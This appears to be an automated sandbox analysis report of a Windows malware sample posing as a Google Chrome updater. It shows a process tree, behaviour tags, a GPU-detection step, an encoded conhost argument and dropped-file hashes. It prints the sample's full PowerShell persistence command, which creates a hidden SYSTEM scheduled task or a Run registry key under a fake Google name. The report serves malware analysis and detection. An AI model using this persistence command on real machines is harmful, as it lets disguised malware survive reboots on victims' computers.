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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1636
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2128
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:232 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:4796
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2816
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3336
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2636
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 260KB
- SHA256 eb86014c094553340f1d5e51942a94605f9ae887d6f77158f05d897653c3735e
- MD5 31c8843b1a1a1deab0db50caf47d5428
- SHA1 4b05cde0d846778ecd57d4b507b9a77d44952b1f
- SHA512 7d48794a4344c1198f8cb08aea004cc5bd02ca454f765b258aba91ab88e47197d22cbd73d313637128d2dff8bb564dd51eb18782b103b34fe1a6169d3ce5968d
- SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T5:rWVi46hyqG2ckwLxgajd0mAVwb5T5
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 2.0MB
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
- MD5 2e907f77659a6601fcc408274894da2e
- SHA1 9f5b72abef1cd7145bf37547cdb1b9254b4efe9d
- SHA512 34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 aa59c4d3fa9bf88542272c81e888175b1949eb6d97956f756203486f47876862
- MD5 418b0a6e892e4632f4e0da1c2f7c3bc7
- SHA1 32d0980a0a8c9603a2c4642c89962d54758b31ff
- SHA512 b37ca481b9472e63ea8243fbc4d54f0681264629621c1b3cbb0a8470df04139da69575b87394aa2b35b1ca0c71b62bc211787de87d7f54ed29170a50500bd01d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_br4msrmx.vn0.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512